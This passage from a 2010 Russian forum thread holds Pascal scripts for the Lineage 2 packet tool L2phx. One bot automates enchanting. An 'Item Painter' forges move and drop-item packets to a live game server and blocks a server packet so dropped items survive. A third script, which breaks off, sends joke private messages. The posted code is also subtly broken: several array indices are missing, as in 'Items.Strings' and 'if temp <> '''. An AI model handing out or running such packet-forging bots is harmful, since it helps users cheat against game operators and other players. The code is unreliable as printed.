  Timer01.enabled:=false;
end;
end;
end;
//---
procedure OnTimer02(Sender: TObject);
begin
  buf:=#$5F;
  WriteD(enchantID);
  WriteD(0);
  SendToServerEx(myname);
  Timer02.enabled:=false;
 SendMsg2( '- Т О Ч И М предмет: '+IntToStr(enchantID)+' ' );
end;
//----------------------------------------------------------------------------------- start
procedure Init;
begin
   itemID:=0;
   enchantID:=0;
   enchantLevel:=0;
   start:=false;
   startenchant:=false;
   skrolObjectID:=0;
   bskrolObjectID:=0;
   enchantObjectID:=0;
 
   Timer01:=TTimer.Create(nil);
   Timer01.OnTimer:=@OnTimer01;
   Timer01.enabled:=false;
   Timer01.interval:=500; //<<== время выбора свитка и предмета

   Timer02:=TTimer.Create(nil);
   Timer02.OnTimer:=@OnTimer02;
   Timer02.enabled:=false;
   Timer02.interval:=2800; //<<== время между заточкой 
SendMsg2( '- ***** скрипт включился *****' );
SendMsg2( '- ник: '+myname+', ячеек инвентаря: '+IntToStr(max)+' ' );
SendMsg2( '- будем точить до '+IntToStr(enchantResult)+' ' );
SendMsg2( '- выберите обычную заточку ' );
 x:=0;
  end;
procedure Free;
begin
  Timer01.free;
  Timer02.free;
end;
//=========================
procedure RequestActionUse;
begin
case ReadD(2) of
  24:begin
     startenchant:=true;
          x:=1;
     Timer01.enabled:=true;
      SendMsg2( '- П О Е Х А Л И -' );
      SendMsg2( '- соцдействие НЕТ для остановки' );
     buf:=hstr('14');
     SendToServerEx(myname);
     pck:='';
     exit;     
    end;
  25:begin
     start:=false;
     startenchant:=false;
     Timer01.enabled:=false;
     Timer02.enabled:=false;
      SendMsg2( '- С Т О П -' );
      SendMsg2( '- cоцдействие ДА для старта' );
     pck:='';
     exit;     
    end;
end;
end;
//=========
begin
 if FromServer and (pck[1]=#$11) then ItemList;
 if FromClient then
  case pck[1] of
 #$56:RequestActionUse;
 #$19:if skrolObjectID = 0 then begin
       skrolObjectID:=ReadD(2);
        SendMsg2( '- ObjID обычного свитка: '+IntToStr(skrolObjectID)+'' );
        SendMsg2( '- выберите блессед заточку' );
       buf:=hstr('14');
       SendToServerEx(myname);
      end else if bskrolObjectID = 0 then begin
       bskrolObjectID:=ReadD(2);
        SendMsg2( '- ObjID блессед свитка: '+IntToStr(bskrolObjectID)+'' );
        SendMsg2( '- заточите нужный предмет' );
       buf:=hstr('14');
       SendToServerEx(myname);
      end;
 #$D0:if  ReadH(2)=76 then  begin
   selectObjectID:=ReadD(4);
   end;
 #$5F:begin
    enchantObjectID:=ReadD(2);
    ItemOID:=GetItemID(enchantObjectID);//находим по ObjectID предмет с ItemID
    end;
end;
end.

Последний раз редактировалось ATJIaHTuK; 15.07.2010 в 16:04.
  Ответить с цитированием
Старый 14.07.2010, 15:11   #53
 Разведчик
Аватар для xxdoomxx
 
xxdoomxx неизвестен в этих краях
Регистрация: 28.03.2010
Сообщений: 7
Популярность: -59
Сказал(а) спасибо: 2
Поблагодарили 0 раз(а) в 0 сообщениях
 
По умолчанию L2phx Paint Script для IT и C4

Код:
Program ItemPainter;
//------------------------------------------------------------------
//Скрипт для рисования предметами пока только для с4 и интерлюдии
//В Name ввдите ник
//Нарисуйте картинку в любом графическом редакторе.
//В поле "Путь к фалу" введите путь к этому файлу и нажмите Load
//Черный,красный,зеленый,голубой,желтый цвета пикселей можно привязать к отдельному предмету
//Выберите цвет в боксе color, затем предмет в боксе Item (предметов должно быть>1 чтобы они появились в списке)
//scale - масштаб отступа между предметами от 1:1 до 10:1
//Самый оптимальный масштаб 5:1
//-----------------------------------------------------------------
//Пока проблема в том что скрипт рисует картинку в неизвестном направлении
//Не знаю как сделать чтоб рисовало строго справа от себя
const
Name='Justxxxxx';
interlude=true;
max=80;
var
bmp:TBitMap; //Картинка
ItemBase:  array[1..3,1..max] of integer; //Массив предметов заполняется процедурой CreateItemBase
SelectedItems: array[1..3,1..5] of integer; //Массив Object ID предметов [i,j] i=1 - OID,2-ID,3 - Count; j - # цвета
currentx,currenty,StartX,StartY,StartZ,MyX,MyY,ItemOID:integer;
//Теущие координаты x и y;координаты начала отчета x,y,z; Мои координаты x y обнавляются при Validate Position
ready:boolean;
timer : TTimer;
FormMain:TForm;
Stats : TMemo;
Panel1 : TPanel;
GroupBox1,GroupBox2 : TGroupBox;
ComboBoxColor,ComboBoxScale,ComboboxItem:TComboBox;
Label1,Label2,Label3:TLabel;
Path:TEdit;
LoadedImage:TImage;
LoadButton,StartButton,StopButton:TButton;
ItemsName,StringList:TStringList;
//......................................
//......................................
//......................................
//ComboBoxItem
procedure ComboBoxItem_Click(Sender: TComboBox);
var i,count,index:integer;
begin
count:=0;
if SelectedItems[2,ComboBoxColor.ItemIndex+1]=ItemBase[2,ComboBoxItem.ItemIndex+1] then exit;
for i:=1 to 5 do if SelectedItems[2,i]=ItemBase[2,ComboBoxItem.ItemIndex+1] then inc(count);
if Count>0 then begin
stats.lines.add('Ошибка! Нельзя добавлять одинаковые предметы в разные цвета.');
exit;
end;
SelectedItems[1,ComboBoxColor.ItemIndex+1]:=ItemBase[1,ComboBoxItem.ItemIndex+1];
SelectedItems[2,ComboBoxColor.ItemIndex+1]:=ItemBase[2,ComboBoxItem.ItemIndex+1];
SelectedItems[3,ComboBoxColor.ItemIndex+1]:=ItemBase[3,ComboBoxItem.ItemIndex+1];
index:=ComboBoxItem.ItemIndex;
for i:=0 to StringList.Count-1 do if Pos(' - '+ComboBoxColor.Items.Strings[ComboBoxColor.ItemIndex],ComboBoxItem.Items.Strings)>0 then
ComboBoxItem.Items.Strings:=StringList.Strings;
ComboBoxItem.Items.Strings[index]:=ComboBoxItem.Items.Strings[ComboBoxItem.ItemIndex]+' - '+ComboBoxColor.Items.Strings[ComboBoxColor.ItemIndex];
ComboBoxItem.ItemIndex:=index;
end;
//----------------------------------------
procedure StartButton_Click(Sender: TButton);
//Event : OnClick
begin
if bmp=NIL then stats.lines.add('Картинка не загружена!') else
begin
stats.lines.add('Старт!');
StartButton.enabled:=false;
currentx:=-1;
currenty:=0;
buf:=#$AA;
WriteD(0);
SendToServerEx(Name);
end;
end;
//......................................
//ButtonStopEnchant
procedure StopButton_Click(Sender: TButton);
//Event : OnClick
begin
StartButton.enabled:=true;
stats.lines.add('Стоп!');
timer.enabled:=false;
ready:=false;
end;
procedure bmpload;
begin
  bmpfree;
  bmp:=TBitMap.Create;
  try
  bmp.LoadFromFile(path.text);
  except
  bmp.Free;
  stats.lines.add('Ошибка загрузки файла!');
  exit;
  end;
  stats.lines.add('Картинка успешно загружена!');
  LoadedImage.Picture.assign(bmp);
end;
procedure LoadButton_Click(Sender: TButton);
var openDialog : TOpenDialog;
begin
  openDialog := TOpenDialog.Create(NIL);
  openDialog.Filter := 'Bitmap files|*.bmp';
  openDialog.FilterIndex := 1;
  openDialog.DefaultExt:='bmp';
  openDialog.Options:=ofNoChangeDir+ofFileMustExist+ofPathMustExist;
  if openDialog.Execute then path.text:=openDialog.FileName else begin
  openDialog.Free;
  exit;
  end;
  openDialog.Free;
  bmpload;
end;
procedure Path_key(Sender: TEdit; Key: Char);
begin
if ord(key)=13 then begin
bmpload;
end;
end;
procedure Free_FormMain;
//Освобождаем ресурсы ...
begin
  TRY
    if FormMain<>NIL then begin
       FormMain.Free;
       FormMain:=NIL;
    end;
  FINALLY
  END;
end;
function Create_FormMain : TForm;
//Создаем форму и соотв. компоненты на ней ...
Var
  Yes : boolean;
begin
  Yes := FALSE;
  Result := TForm.Create(nil);

  TRY
    //------------------------
    //Свойства формы
    Result.Caption     := 'Item Painter v 0.1 by ArchDevil';
    Result.Left        := 397;
    Result.Top         := 233;
    Result.Width       := 350;
    Result.Height      := 230;
    Result.FormStyle   := fsNormal;
    Result.Position    := poDesigned;
    Result.BorderStyle := bsSizeable;
    Result.BorderWidth := 0;
    Result.WindowState := wsNormal;
    Result.Color       := clBtnFace;
    Result.Font.Name   := 'Tahoma';
    Result.Font.Size   := 8;
    Result.Font.Color  := clWindowText;
    Result.Font.CharSet:= 1;
    //......................................
    //......................................
    //Stats
    Stats := TMemo.Create(Result);
    Stats.Parent := Result;
    Stats.Left    := 0;
    Stats.Top     := 160;
    Stats.Width   := 350;
    Stats.Height  := 70;
    Stats.Visible := TRUE;
    Stats.Tag     := 0;
    Stats.Enabled  := TRUE;
    Stats.Hint     := '';
    Stats.ShowHint := FALSE;
    Stats.Font.Name  := 'Tahoma';
    Stats.Font.Size  := 8;
    Stats.Font.Color := clWindowText;
    Stats.Color         := clWindow;
    Stats.TabOrder      := 0;
    Stats.TabStop       := TRUE;
    Stats.Align         := alBottom;
    Stats.WordWrap      := TRUE;
    Stats.Alignment     := taLeftJustify;
    Stats.WantTabs      := FALSE;
    Stats.WantReturns   := TRUE;
    Stats.HideSelection := TRUE;
    Stats.MaxLength     := 0;
    Stats.OEMConvert    := FALSE;
    Stats.ReadOnly      := FALSE;
    Stats.ScrollBars    := ssNone;
    //......................................
    //......................................
    //Panel1
    Panel1 := TPanel.Create(Result);
    Panel1.Parent := Result;
    Panel1.Left    := 0;
    Panel1.Top     := 0;
    Panel1.Width   := 350;
    Panel1.Height  := 160;
    Panel1.Visible := TRUE;
    Panel1.Tag     := 0;
    Panel1.Enabled  := TRUE;
    Panel1.Hint     := '';
    Panel1.ShowHint := FALSE;
    Panel1.Caption    := '';
    Panel1.Align      := alClient;
    Panel1.Color      := clBtnFace;
    Panel1.Font.Name  := 'Tahoma';
    Panel1.Font.Size  := 8;
    Panel1.Font.Color := clWindowText;
    Panel1.Font.CharSet := 1;
    Panel1.BevelWidth   := 1;
    Panel1.BorderWidth  := 0;
    Panel1.BevelInner   := bvNone;
    Panel1.BevelOuter   := bvRaised;
    Panel1.TabOrder     := 2;
    Panel1.TabStop      := FALSE;
    Panel1.AutoSize     := FALSE;
    //......................................
    //......................................
    //GroupBox1
    GroupBox1 := TGroupBox.Create(Result);
    GroupBox1.Parent := Panel1;
    GroupBox1.Left    := 1;
    GroupBox1.Top     := 1;
    GroupBox1.Width   := 160;
    GroupBox1.Height  := 160;
    GroupBox1.Visible := TRUE;
    GroupBox1.Tag     := 0;
    GroupBox1.Enabled  := TRUE;
    GroupBox1.Hint     := '';
    GroupBox1.ShowHint := FALSE;
    GroupBox1.Caption    := 'Рисунок';
    GroupBox1.Align      := alLeft;
    GroupBox1.Color      := clBtnFace;
    GroupBox1.Font.Name  := 'Tahoma';
    GroupBox1.Font.Size  := 8;
    GroupBox1.Font.Color := clWindowText;
    GroupBox1.Font.CharSet := 1;
    GroupBox1.TabOrder     := 0;
    GroupBox1.TabStop      := FALSE;
        //......................................
    //......................................
    //GroupBox2
    GroupBox2 := TGroupBox.Create(Result);
    GroupBox2.Parent := Panel1;
    GroupBox2.Left    := 1;
    GroupBox2.Top     := 1;
    GroupBox2.Width   := 180;
    GroupBox2.Height  := 160;
    GroupBox2.Visible := TRUE;
    GroupBox2.Tag     := 0;
    GroupBox2.Enabled  := TRUE;
    GroupBox2.Hint     := '';
    GroupBox2.ShowHint := FALSE;
    GroupBox2.Caption    := 'Настройки';
    GroupBox2.Align      := alLeft;
    GroupBox2.Color      := clBtnFace;
    GroupBox2.Font.Name  := 'Tahoma';
    GroupBox2.Font.Size  := 8;
    GroupBox2.Font.Color := clWindowText;
    GroupBox2.Font.CharSet := 1;
    GroupBox2.TabOrder     := 0;
    GroupBox2.TabStop      := FALSE;
    //......................................
    //......................................
    //ComboBoxColor
    ComboBoxColor := TComboBox.Create(Result);
    ComboBoxColor.Parent := GroupBox2;
    ComboBoxColor.Left    := 38;
    ComboBoxColor.Top     := 16;
    ComboBoxColor.Width   := 60;
    ComboBoxColor.Height  := 21;
    ComboBoxColor.Visible := TRUE;
    ComboBoxColor.Tag     := 0;
    ComboBoxColor.Enabled  := TRUE;
    ComboBoxColor.Hint     := 'Выбери из списка цвет соответствующий предмету ниже';
    ComboBoxColor.ShowHint := TRUE;
    ComboBoxColor.Text       := 'ComboBoxColor';
    ComboBoxColor.Font.Name  := 'Tahoma';
    ComboBoxColor.Font.Size  := 8;
    ComboBoxColor.Font.Color := clWindowText;
    ComboBoxColor.Color          := clWindow;
    ComboBoxColor.TabOrder       := 1;
    ComboBoxColor.TabStop        := TRUE;
    ComboBoxColor.Sorted         := FALSE;
    ComboBoxColor.ItemHeight     := 13;
    ComboBoxColor.Items.ADD('Black');
    ComboBoxColor.Items.ADD('Red');
    ComboBoxColor.Items.ADD('Green');
    ComboBoxColor.Items.ADD('Blue');
    ComboBoxColor.Items.ADD('Yellow');
    ComboBoxColor.ItemIndex := 0;
    //......................................
    //......................................
    //ComboBoxScale
    ComboBoxScale := TComboBox.Create(Result);
    ComboBoxScale.Parent := GroupBox2;
    ComboBoxScale.Left    := 134;
    ComboBoxScale.Top     := 16;
    ComboBoxScale.Width   := 39;
    ComboBoxScale.Height  := 21;
    ComboBoxScale.Visible := TRUE;
    ComboBoxScale.Tag     := 0;
    ComboBoxScale.Enabled  := TRUE;
    ComboBoxScale.Hint     := 'Выбери из списка масштаб';
    ComboBoxScale.ShowHint := TRUE;
    ComboBoxScale.Text       := 'ComboBoxScale';
    ComboBoxScale.Font.Name  := 'Tahoma';
    ComboBoxScale.Font.Size  := 8;
    ComboBoxScale.Font.Color := clWindowText;
    ComboBoxScale.Color          := clWindow;
    ComboBoxScale.TabOrder       := 1;
    ComboBoxScale.TabStop        := TRUE;
    ComboBoxScale.Sorted         := FALSE;
    ComboBoxScale.ItemHeight     := 13;
    ComboBoxScale.Items.ADD('1:1');
    ComboBoxScale.Items.ADD('2:1');
    ComboBoxScale.Items.ADD('3:1');
    ComboBoxScale.Items.ADD('4:1');
    ComboBoxScale.Items.ADD('5:1');
    ComboBoxScale.Items.ADD('6:1');
    ComboBoxScale.Items.ADD('7:1');
    ComboBoxScale.Items.ADD('8:1');
    ComboBoxScale.Items.ADD('9:1');
    ComboBoxScale.Items.ADD('10:1');
    ComboBoxScale.ItemIndex := 0;
    //......................................
    //......................................
    //ComboBoxItem
    ComboBoxItem := TComboBox.Create(Result);
    ComboBoxItem.Parent := GroupBox2;
    ComboBoxItem.Left    := 38;
    ComboBoxItem.Top     := 40;
    ComboBoxItem.Width   := 135;
    ComboBoxItem.Height  := 21;
    ComboBoxItem.Visible := TRUE;
    ComboBoxItem.Tag     := 0;
    ComboBoxItem.Enabled  := TRUE;
    ComboBoxItem.Hint     := 'Выбери из списка затачиваемый предмет';
    ComboBoxItem.ShowHint := TRUE;
    ComboBoxItem.Text       := 'ComboBoxItem';
    ComboBoxItem.Font.Name  := 'Tahoma';
    ComboBoxItem.Font.Size  := 8;
    ComboBoxItem.Font.Color := clWindowText;
    ComboBoxItem.Color          := clWindow;
    ComboBoxItem.TabOrder       := 1;
    ComboBoxItem.TabStop        := TRUE;
    ComboBoxItem.ItemIndex          := -1;
    ComboBoxItem.Sorted         := FALSE;
    ComboBoxItem.ItemHeight     := 13;
    ComboBoxItem.OnClick     := @ComboBoxItem_Click;
    //......................................
    //......................................
    //Label1
    Label1 := TLabel.Create(Result);
    Label1.Parent := GroupBox2;
    Label1.Left    := 8;
    Label1.Top     := 20;
    Label1.Width   := 58;
    Label1.Height  := 13;
    Label1.Visible := TRUE;
    Label1.Tag     := 0;
    Label1.Enabled  := TRUE;
    Label1.Hint     := '';
    Label1.ShowHint := FALSE;
    Label1.Caption     := 'Color:';
    Label1.Transparent := TRUE;
    Label1.WordWrap    := FALSE;
    Label1.Alignment   := taLeftJustify;
    Label1.Layout      := tlTop;
    Label1.AutoSize    := TRUE;
    Label1.Align       := alNone;
    Label1.Font.Name   := 'Tahoma';
    Label1.Font.Size   := 8;
    Label1.Font.Color  := clWindowText;
    Label1.Color       := clBtnFace;
    //......................................
    //......................................
    //Label2
    Label2 := TLabel.Create(Result);
    Label2.Parent := GroupBox2;
    Label2.Left    := 8;
    Label2.Top     := 44;
    Label2.Width   := 58;
    Label2.Height  := 13;
    Label2.Visible := TRUE;
    Label2.Tag     := 0;
    Label2.Enabled  := TRUE;
    Label2.Hint     := '';
    Label2.ShowHint := FALSE;
    Label2.Caption     := 'Item:';
    Label2.Transparent := TRUE;
    Label2.WordWrap    := FALSE;
    Label2.Alignment   := taLeftJustify;
    Label2.Layout      := tlTop;
    Label2.AutoSize    := TRUE;
    Label2.Align       := alNone;
    Label2.Font.Name   := 'Tahoma';
    Label2.Font.Size   := 8;
    Label2.Font.Color  := clWindowText;
    Label2.Color       := clBtnFace;
    //......................................
    //......................................
    //Label3
    Label3 := TLabel.Create(Result);
    Label3.Parent := GroupBox2;
    Label3.Left    := 103;
    Label3.Top     := 20;
    Label3.Width   := 58;
    Label3.Height  := 13;
    Label3.Visible := TRUE;
    Label3.Tag     := 0;
    Label3.Enabled  := TRUE;
    Label3.Hint     := '';
    Label3.ShowHint := FALSE;
    Label3.Caption     := 'Scale:';
    Label3.Transparent := TRUE;
    Label3.WordWrap    := FALSE;
    Label3.Alignment   := taLeftJustify;
    Label3.Layout      := tlTop;
    Label3.AutoSize    := TRUE;
    Label3.Align       := alNone;
    Label3.Font.Name   := 'Tahoma';
    Label3.Font.Size   := 8;
    Label3.Font.Color  := clWindowText;
    Label3.Color       := clBtnFace;
    //......................................
    //......................................
    //Path
    Path := TEdit.Create(Result);
    Path.Parent := GroupBox1;
    Path.Left    := 5;
    Path.Top     := 107;
    Path.Width   := 117;
    Path.Height  := 20;
    Path.Visible := TRUE;
    Path.Tag     := 0;
    Path.Enabled  := TRUE;
    Path.Hint     := 'Введи путь к файлу BMP';
    Path.ShowHint := TRUE;
    Path.Text       := '';
    Path.Font.Name  := 'Tahoma';
    Path.Font.Size  := 7;
    Path.Font.Color := clWindowText;
    Path.Color        := clWindow;
    Path.TabOrder     := 5;
    Path.TabStop      := TRUE;
    Path.ReadOnly     := FALSE;
    Path.MaxLength    := 0;
    Path.AutoSize     := TRUE;
    Path.OnKeyPress   := @Path_Key;
    //......................................
    //......................................
    //LoadImage
    LoadedImage:= TImage.Create(Result);
    LoadedImage.Parent:=GroupBox1;
    LoadedImage.Left :=5;
    LoadedImage.Top := 16;
    LoadedImage.Width := 150;
    LoadedImage.Height := 90;
    LoadedImage.Visible := TRUE;
    LoadedImage.Tag := 0;
    LoadedImage.Enabled := TRUE;
    LoadedImage.Hint := '';
    LoadedImage.ShowHint := FALSE;
    LoadedImage.Center := TRUE;
    LoadedImage.Proportional := TRUE;
    //......................................
    //......................................
    //LoadButton
    LoadButton := TButton.Create(Result);
    LoadButton.Parent := GroupBox1;
    LoadButton.Left    := 124;
    LoadButton.Top     := 106;
    LoadButton.Width   := 32;
    LoadButton.Height  := 21;
    LoadButton.Visible := TRUE;
    LoadButton.Tag     := 0;
    LoadButton.Enabled  := TRUE;
    LoadButton.Hint     := '';
    LoadButton.ShowHint := FALSE;
    LoadButton.Caption    := 'Open';
    LoadButton.Font.Name  := 'Tahoma';
    LoadButton.Font.Size  := 8;
    LoadButton.Font.Color := clWindowText;
    LoadButton.Font.CharSet := 1;
    LoadButton.TabOrder     := 2;
    LoadButton.TabStop      := TRUE;
    LoadButton.Cancel       := FALSE;
    LoadButton.ModalResult  := 0;
    LoadButton.OnClick     := @LoadButton_Click;
    //......................................
    //......................................
    //StartButton
    StartButton := TButton.Create(Result);
    StartButton.Parent := GroupBox2;
    StartButton.Left    := 6;
    StartButton.Top     := 106;
    StartButton.Width   := 80;
    StartButton.Height  := 21;
    StartButton.Visible := TRUE;
    StartButton.Tag     := 0;
    StartButton.Enabled  := TRUE;
    StartButton.Hint     := '';
    StartButton.ShowHint := FALSE;
    StartButton.Caption    := 'Start';
    StartButton.Font.Name  := 'Tahoma';
    StartButton.Font.Size  := 8;
    StartButton.Font.Color := clWindowText;
    StartButton.Font.CharSet := 1;
    StartButton.TabOrder     := 2;
    StartButton.TabStop      := TRUE;
    StartButton.Cancel       := FALSE;
    StartButton.ModalResult  := 0;
    StartButton.OnClick     := @StartButton_Click;
    //......................................
    //......................................
    //StopButton
    StopButton := TButton.Create(Result);
    StopButton.Parent := GroupBox2;
    StopButton.Left    := 96;
    StopButton.Top     := 106;
    StopButton.Width   := 80;
    StopButton.Height  := 21;
    StopButton.Visible := TRUE;
    StopButton.Tag     := 0;
    StopButton.Enabled  := TRUE;
    StopButton.Hint     := '';
    StopButton.ShowHint := FALSE;
    StopButton.Caption    := 'Stop';
    StopButton.Font.Name  := 'Tahoma';
    StopButton.Font.Size  := 8;
    StopButton.Font.Color := clWindowText;
    StopButton.Font.CharSet := 1;
    StopButton.TabOrder     := 3;
    StopButton.TabStop      := TRUE;
    StopButton.Cancel       := FALSE;
    StopButton.ModalResult  := 0;
    StopButton.OnClick     := @StopButton_Click;
    //......................................
    Yes := TRUE;
  FINALLY
    if not Yes then begin
       //Освобождаем ресурсы, если неудачно ...
       if Result<>NIL then begin
          Result.Free;
          Result:=NIL;
       end;
    end;
  END;
  Result.Show;
end;
procedure Init; //Вызывается при включении скрипта
begin
  FormMain:=Create_FormMain;
  stats.Lines.Add('Скрипт: Рисование предметами by ArchDevil!');
  timer:=TTimer.Create(nil);
  timer.OnTimer:=@OnTimer;
  timer.enabled:=false;
  timer.interval:=10; //время задержки
  ready:=false;
  StringList:=TStringList.Create;
  ItemsName:=TStringList.Create;
  try
    ItemsName.LoadFromFile('itemsid.ini');
  except
    stats.Lines.Add('itemsid.ini не найден!');
    exit;
  end;
  buf:=hstr('0F');
  SendToServerEx(Name);
end;
procedure bmpfree;
begin
  try
   if bmp<>NIL then
   begin
   bmp.Free;
   bmp:=NIL;
   end;
  finally
  end;
end;
procedure Free;
var i:integer;
begin
Free_FormMain; bmpfree;
StringList.Clear; ItemsName.Clear;
timer.Free;
if LoadedImage<>NIL then LoadedImage:=NIL;
currentx:=0; currenty:=0; StartX:=0; StartY:=0;
StartZ:=0; MyX:=0; MyY:=0; ItemOID:=0;
ready:=false;
for i:=1 to 5 do begin
SelectedItems[1,i]:=0;
SelectedItems[2,i]:=0;
SelectedItems[3,i]:=0;
end;
end;
//CreateItemBase и InventoryUpdate Взял со скрипта NLObP на заточку
//---------------------------------------------
procedure CreateItemBase;
var
  i, j, ListCount, oid,id,count: integer;
begin
  for i:=1 to max do begin
    //очищаем масив
    ItemBase[1,i]:=0;     //OID
    ItemBase[2,i]:=0;    //ID
    ItemBase[3,i]:=0;   //kol-vo
  end;
  j:=4;
  ListCount:=ReadH(j);
  j:=8;
  for i:=1 to ListCount do begin
    oid:=ReadD(j);
    id:=ReadD(j);
    count:=ReadD(j);
    if count=1 then begin //считает только предметы с количеством > 1
    ListCount:=ListCount-1;
    i:=i-1;
    end else
    begin
    ItemBase[1,i]:=oid;
    ItemBase[2,i]:=id;
    ItemBase[3,i]:=count;
    end;
    if interlude then inc(j,24) else inc(j,16);
  end;
  StringList.Clear;
  try
    for i:=1 to ListCount do begin
      try
        StringList.Add(ItemsName.Values[IntToStr(ItemBase[2,i])]); //записываем название вещей из инвентаря
      except;
      end
    end;
  except;
    exit;
  end;
    with ComboBoxItem do
    begin
      Items.Clear;
      Items.Assign(StringList);
      ItemIndex:=0;
    end;
end;
//......................................
//******************************************************************************
procedure InventoryUpdate; //пакет 27, обновляет базу ObjectID по ItemID
var
  i, ii, j, OID, ID, Count, ListCount, UpdType: integer;
  add : boolean;
begin
  add:=false;
  ListCount:=ReadH(2);
  j:=4;
  for ii:=1 to ListCount do begin
    add:=false;
    UpdType:=ReadH(j);
    ReadH(j);               //ItemType1
    OID:=ReadD(j);     //ObjectID
    ID:=ReadD(j);     //ItemID
    Count:=ReadD(j); //кол-во
    case UpdType of
      1: begin
         for i:=1 to max do begin
           if (ItemBase[1,i]=0) and (add=false) then begin
             ItemBase[1,i]:=OID;
             ItemBase[2,i]:=ID;
             ItemBase[3,i]:=Count;
             add:=true;
           end;
         end;
      end;
      2: begin
         for i:=1 to max do begin
           if ItemBase[1,i]=OID then begin
             ItemBase[3,i]:=Count;
           end;
         end;
      end;
      3: begin
         for i:=1 to max do begin
           if ItemBase[1,i]=OID then begin
             ItemBase[1,i]:=0;
             ItemBase[2,i]:=0;
             ItemBase[3,i]:=0;
           end;
         end;
      end;
    end;
    if interlude then inc(j,22) else inc(j,14);
  end;
end;
//------------------------------------
function GetCount(OID:integer) : integer;
var
  i : integer;
begin
  for i:=1 to max do begin
    if ItemBase[1,i]=OID then begin
      result:=ItemBase[3,i]; // count
      exit;
    end;
  end;
  result:=0;
end;
//--------------------------------------------
function delta(x1, y1, x2, y2:extended):integer; //возвращает растоянием между 2 точками
var
  dx,dy,summa: extended;
begin
  dx:=x2-x1;
  dy:=y2-y1;
  summa:=dx*dx+dy*dy;
  if summa=0 then result:=0 else result:=Round(sqrt(summa));
end;
//--------------------------------------------
procedure OnTimer(Sender: TObject);
begin
ItemOID:=0;
repeat
if currentx=bmp.width-1 then
begin
inc(currenty);
currentx:=0;
end else inc(currentx);
if currenty=bmp.height then
begin
timer.enabled:=false;
stats.lines.add('Остановлено! Рисунок нарисован!');
exit;
end;
case bmp.Canvas.pixels[currentx,currenty] of //матрица пикселей
clBlack: if (SelectedItems[1,1]>0) and (GetCount(SelectedItems[1,1])>0) then ItemOID:=SelectedItems[1,1];
clRed:   if (SelectedItems[1,2]>0) and (GetCount(SelectedItems[1,2])>0) then ItemOID:=SelectedItems[1,2];
clGreen: if (SelectedItems[1,3]>0) and (GetCount(SelectedItems[1,3])>0) then ItemOID:=SelectedItems[1,3];
clBlue:  if (SelectedItems[1,4]>0) and (GetCount(SelectedItems[1,4])>0) then ItemOID:=SelectedItems[1,4];
clYellow:if (SelectedItems[1,5]>0) and (GetCount(SelectedItems[1,5])>0) then ItemOID:=SelectedItems[1,5];
end;
until ItemOID<>0;
if ItemOID=0 then exit;
stats.lines.add('Текущий элемент матрицы: x='+inttostr(currentx)+', y='+inttostr(currenty)+'.');
if delta(MyX,MyY,StartX+currentx*(ComboBoxScale.ItemIndex+1),StartY+currenty*(ComboBoxScale.ItemIndex+1))>240 then begin  //расстояние между точками
buf:=#$01;
WriteD(StartX+currentx*(ComboBoxScale.ItemIndex+1));
writeD(StartY+currenty*(ComboBoxScale.ItemIndex+1));
WriteD(StartZ);
WriteD(MyX);
WriteD(MyY);
WriteD(StartZ);
WriteD(1);
SendToServerEx(Name);
timer.enabled:=false; //Отключаем на время передвижения
ready:=true;
exit;
end;
buf:=#$12;
WriteD(ItemOID);
WriteD(1);
WriteD(StartX+currentx*(ComboBoxScale.ItemIndex+1));
WriteD(StartY+currenty*(ComboBoxScale.ItemIndex+1));
WriteD(StartZ);
SendToServerEx(Name);
end;
//--------------------------------------------
begin
if FromClient and (ConnectName=Name) then
case pck[1] of
     #$48: begin
             MyX:=ReadD(2); // постоянно считываем координаты чара
             MyY:=ReadD(6);
             if ready and (delta(Myx,Myy,StartX+currentx*(ComboBoxScale.ItemIndex+1),StartY+currenty*(ComboBoxScale.ItemIndex+1))<100) then begin //Меньше 100 можно включать таймер
             buf:=#$12; //Выкидываем предмет который не выкинули когда дельта привышала 240
             WriteD(ItemOID);
             WriteD(1);
             WriteD(StartX+currentx*(ComboBoxScale.ItemIndex+1));
             WriteD(StartY+currenty*(ComboBoxScale.ItemIndex+1));
             WriteD(StartZ);
             SendToServerEx(Name);
             ready:=false;
             timer.enabled:=true;
             end;
           end;
end;
if FromServer and (ConnectName=Name) then
case pck[1] of
    #$1B: CreateItemBase; //создание базы предметов
     //......................................
    #$27: InventoryUpdate; //Обновление базы
    #$64: if (StartButton.enabled=false) and (timer.enabled=false) and (ReadD(6)=3) then
          begin
            StartX:=ReadD(14); //Считываются только 1 раз
            StartY:=ReadD(22);
            StartZ:=ReadD(30);
            MyX:=StartX;
            MyY:=StartY;
            timer.enabled:=true;//Вот теперь включаем таймер
          end;
    #$12: pck:=''; //Это для того чтоб не удалялись предметы, просто на сервере где я тестил автоудаление предметов
end;
end.

Последний раз редактировалось ATJIaHTuK; 15.07.2010 в 16:50.
  Ответить с цитированием
Старый 24.07.2010, 00:35   #54
Заблокирован
 Капитан
Аватар для BlackWinG
 
BlackWinG излучает ауруBlackWinG излучает ауруBlackWinG излучает ауруBlackWinG излучает ауруBlackWinG излучает ауруBlackWinG излучает ауру
Регистрация: 08.04.2010
Сообщений: 279
Популярность: 654
Сказал(а) спасибо: 126
Поблагодарили 277 раз(а) в 113 сообщениях
Отправить сообщение для BlackWinG с помощью ICQ Отправить сообщение для BlackWinG с помощью Skype™
 
По умолчанию Скрипт для сбора реков

Нашел на максе очень интересный скрипт. Сам я в этом не шарю, но мб кому то пригодиться

Суть скрипта в том, что когда тебя рекают - человеку в ПМ пишет какой-то анекдот, так можно ходить по городу и писать "Рек-Анекдот в ПМ"

Собственно сам скрипт:


Код:
//by VORON
//скрипт который рассказывает анекдоты без бана:
///////////////////////////////////////////////////////////////////////////
var
temp: array [1..20] of string;
timer1: TTimer;
x: integer;

procedure Init; //Вызывается при включении скрипта
begin
timer1:=TTimer.Create(nil);
timer1.OnTimer:=@OnTimer; //
timer1.enabled:=true; //
timer1.interval:=1000;



temp[1]:='" Водка в стиле IT: ';
temp[2]:='0.1л - demo ';
temp[3]:='0.25л - trial version ';
temp[4]:='0.5л - personal edition ';
temp[5]:='0.7л - professional edition ';
temp[6]:='1.0л - network edition ';
temp[7]:='1.75л - enterprise ';
temp[8]:='3л - for small business ';
temp[9]:='5л - corporate edition ';
temp[10]:='Бутыль самогона - home edition ';
temp[11]:='"На посошок" - Service pack ';
temp[12]:='Рассол с утра - Recovery tool ';
temp[13]:='Закуска - plugins ';
temp[14]:='Пиво - patch ';
temp[15]:='Coca-cola, Fanta, 7 UP - trojan viruses';
temp[16]:='';


x:=1;
end;

procedure OnTimer(Sender: TObject);
begin
///
if temp
<> '' then
begin
buf:=hstr('38');
writes(temp
);
